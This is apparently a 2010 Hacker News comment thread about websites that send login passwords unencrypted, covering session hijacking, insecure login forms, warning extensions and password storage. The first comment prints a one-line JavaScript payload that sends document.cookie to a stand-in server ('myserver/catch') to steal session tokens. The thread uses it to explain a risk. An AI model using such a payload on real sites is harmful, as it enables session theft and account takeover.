

Six Months Later: Seven Major Websites that Send Passwords Unprotected - adamsmith
http://blog.adamsmith.cc/2010/07/six-months-later-seven-major-websites-that-send-passwords-unprotected.html

======
bl4k
If you assume that an attacker has access to your traffic (via MITM DNS
poisoning, proxy or something else remote) then logging in via SSL while
running the logged in application over non-SSL prevents nothing, since the
attacker can grab the session token/cookie.

Campaigns like this one are good, but they risk creating a false sense of
security since sending a session token over the clear is vulnerable to the
same exploits that logging in over the clear is.

This is why Gmail is all SSL by default now (and with the secure bit on the
cookie set, so that it is only sent over https)

(with a XSRF exploit in a web app, capturing the session token is as easy as:

    
    
      document.write('<img src="http://myserver/catch?' + document.cookie + '" width="0" height="0" />');
    

speaking of, the session token on Hacker News is crazy short, which would make
the keyspace small enough to be viably brute-forced (especially since expiry
is infinity))

~~~
whakojacko
Good point, but for most of the websites guilty of these problems I really
dont care about stealing my session or any data being transmitted. Most of
them have little other information I care about being stolen, besides maybe my
email address (and that shouldnt even be a problem if the website is designed
properly, although of course if they arent using SSL in the first place you
might they probably aren't)

------
tptacek
Next pet peeve to go after: sites that POST logins to https form actions from
HTML pages served over insecure connections.

~~~
run4yourlives
I'm going to ask for an example because I can't believe any business entity
actually still does this.

~~~
coverband
What are you talking about? HTTP-to-HTTPS post is perfectly fine w/r/t sending
info securely. It's especially useful for performance if your login is on a
page where less than 10% of your users are expected to login.

~~~
tptacek
No. Attackers will just modify the (insecure) login form so that it posts
somewhere insecure, and then relay the creds to the secure handler without you
noticing. You can't safely serve a secure login form from an insecure page.

------
kylec
I wish someone would create a browser extension that would warn the user if a
password field is submitted unencrypted and ask if they want to proceed.

~~~
swolchok
My Unencrypted Password Warning extension for Chrome does exactly that.
[https://chrome.google.com/extensions/detail/mjpinemnkjlppmem...](https://chrome.google.com/extensions/detail/mjpinemnkjlppmemjfabdaelpfgfjgkj)

SSLPasswdWarning for Firefox is similar. <https://addons.mozilla.org/en-
US/firefox/addon/11894/>

------
bosch
It's extremely disappointing that the majority of sites don't have secure
logins. Is there a certain performance penalty that is associated with it?
(Not for something small, but say Facebooks scale if they were to have https
as the default login?)

(After we get sites using https for logins I suggest we go after ones
e-mailing passwords to users ala Plenty of Fish)

~~~
snoobie_
My effort with Reddit, there is a post there with google's effort to do
something similar and their performance issues.

[http://www.reddit.com/r/ideasfortheadmins/comments/ct13j/add...](http://www.reddit.com/r/ideasfortheadmins/comments/ct13j/add_ssl_to_reddit_login/)

------
es3754
Even though GameSpot's login is now secure, their signup page still submits to
a insecure page.

------
bigiain
A question, how many people have seen a "password sniffed on the wire" attack
in the wild? Apart from unsecured hacker attended conference wifi networks,
Ive not encountered one, or heard about one from friends/colleagues. There's
cases like the TJMax credit card exploit where the attacker got sniffing code
running inside their processing network, but do attacks on Internet traffic
while in-the-fuzzy-cloud-on-the-diagram actually happen? I suspect highly
targeted attacks might, but not the large scale impact of server intrusions
exposing (even hashed) password databases... ( Ive had "low grade" passwords
exposed a couple of times in the last few years that way...)

------
toxicflavor
When ProjectLocker was accused of storing passwords in plaintext, they
responded by saying:

 _"You can't verify this for ProjectLocker or any other website without access
to their backend systems."_

[http://superuser.com/questions/46810/should-i-be-
concerned-i...](http://superuser.com/questions/46810/should-i-be-concerned-if-
my-git-hosting-provider-stores-passwords-in-plaintext)

Is that incorrect?

If not, then I wonder how the author of this article can be so sure of his
findings.

~~~
adamsmith
Sorry for the confusion -- this whole thing is about how passwords are
transmitted, not how they are stored.

When it comes to password storage, though, the only way to find this out is:
(1) if you are able to look at the backend systems, (2) if someone hacks in,
as happened with rockyou (google: rockyou passwords), or (3) if they send you
your password back in the clear in a password reminder email, rather than
forcing you to create a new one. Note that #2 and #3, if they happen, only
indicate that passwords are stored in the clear. If they don't happen that
doesn't mean they are not stored in the clear.

~~~
zck
>...if they send you your password back in the clear in a password reminder
email, rather than forcing you to create a new one.

This only indicates they store the password in a recoverable format. It could
be encrypted. It shouldn't be stored encrypted -- hashing is the way to go --
but it doesn't mean the server has "hunter2" sitting on disk somewhere.

~~~
tptacek
It is extremely annoying to make "recoverable" encryption schemes even
nominally secure. Most of the time, anything that can mail your password might
as well be storing the raw passwords. It's bad mojo to suggest that
"reversable encryption" is a good strategy.

Every time this comes up, someone suggests some rube goldberg contraption
involving multiple hosts and escrowed keys which is hard to refute except that
it never exists in the real world and, even if it did, would still only
provide security that asymptotically approaches hashing.

